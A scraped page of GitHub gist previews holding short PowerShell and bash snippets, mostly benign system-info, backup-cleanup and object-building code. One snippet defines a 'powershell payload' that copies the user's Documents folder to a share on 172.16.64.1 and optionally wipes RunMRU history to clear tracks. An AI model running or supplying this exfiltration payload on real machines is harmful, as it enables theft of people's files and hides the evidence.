This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $array = @() | |
| ## Powershell Version: x.x | |
| $array += @("PowerShell Version",(Get-Host | Select-Object -ExpandProperty Version).tostring()) | |
| ## System Uptime: xx:xx:xX | |
| $UpTime = [Management.ManagementDateTimeConverter]::ToDateTime((Get-WmiObject Win32_OperatingSystem).LastBootUpTime) | |
| $UpTime = (Get-Date) - $Uptime | |
| $UpTime = "{0:D2}" -f [int]$UpTime.Days + ':' + "{0:D2}" -f [int]$UpTime.Hours + ':' + "{0:D2}" -f [int]$UpTime.Minutes + ':' + "{0:D2}" -f [int]$UpTime.Seconds | |
| $array += @("System Uptime",$UpTime) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $list = 1,2,3,4 | |
| $list | foreach { | |
| write-host $_ | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $backuppath = 'C:\Fraps' | |
| $date = Get-Date | |
| Foreach ($month in 1..12) { | |
| $monthslist = Get-ChildItem $backuppath | where ($_.LastWriteTime.Month -eq $month) | sort #latest file date | |
| #delete all but latest file | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $backuppath = 'C:\Fraps' | |
| Get-ChildItem $backuppath | where {($_.creationtime -ge ((get-date).AddMonths(-1))) -and ($_.creationtime -le (get-date))} | Sort-Object | Select-Object FullName -skip 5 | Remove-Item -WhatIf | |
| $month = (get-date).AddMonths(-2) | |
| $limit = 100 #number of months to count down | |
| $i=0 | |
| Do { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Define powershell payload | |
| PAYLOAD="\"While(!!(New-Object net.sockets.tcpclient (172.16.64.1,445))){};net use \\\172.16.64.1\e PWD /USER:USER;robocopy \$HOME\Documents \\\172.16.64.1\e $FILES /S"\" | |
| # If cleartracks add the code to the powershell payload | |
| if [ $CLEARTRACKS == "yes" ]; then | |
| PAYLOAD=${PAYLOAD%\"} | |
| PAYLOAD="\"${PAYLOAD};rp HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU -N '*'"\" | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $system = [PSCustomObject]@{ | |
| Hardware = [PSCustomObject]@{ | |
| Model = [PSCustomObject]@{} | |
| RAM = [PSCustomObject]@{} | |
| CPU = [PSCustomObject]@{} | |
| } | |
| Disks = [pscustomobject]@{ | |
| Local = [PSCustomObject]@{} | |
| Removable = [PSCustomObject]@{} | |
| Network = [PSCustomObject]@{} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $URL = [string]'URL1','URL2','URL3' | |
| $Username = 'Username1','Username2','Username3' | |
| $Password = 'Password1','Password2','Password3' | |
| $Default = [PSCustomObject]@{} | |
| $Default | Add-Member -MemberType NoteProperty -Name 'URL' -Value $URL | |
| $Default | Add-Member -MemberType NoteProperty -Name 'Username' -Value $Username | |
| $Default | Add-Member -MemberType NoteProperty -Name 'Password' -Value $Password |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ## Create random filename and test if it exists | |
| ## If it does create a new one | |
| $Repeat = 'N' | |
| Do { | |
| $var1 = "$env:TEMP\$([System.IO.Path]::GetRandomFileName())" | |
| If (!(Test-Path -Path $var1)) { | |
| $Repeat = 'Y' | |
| } | |
| } Until ($Repeat -eq 'N') |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Add-Type -AssemblyName System.Security | |
| # [System.Reflection.Assembly]::LoadFile("C:\Users\Mike\AppData\Local\Temp\System.Data.SQLite.dll") | |
| Do { | |
| try { | |
| New-Object System.Data.Sqlite.SqliteConnection -ErrorAction Stop | Out-Null | |
| } | |
| catch [System.Management.Automation.PSArgumentException] { | |
| write-host "system.data not loaded" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| for i in `seq 1 10`; | |
| do | |
| echo " | |
| .item$i{ | |
| background-image:url(\"img/item${i}_1.jpg\"); | |
| background-repeat: no-repeat; | |
| background-position: 0px 0px; | |
| } | |
| .item$i:hover{ |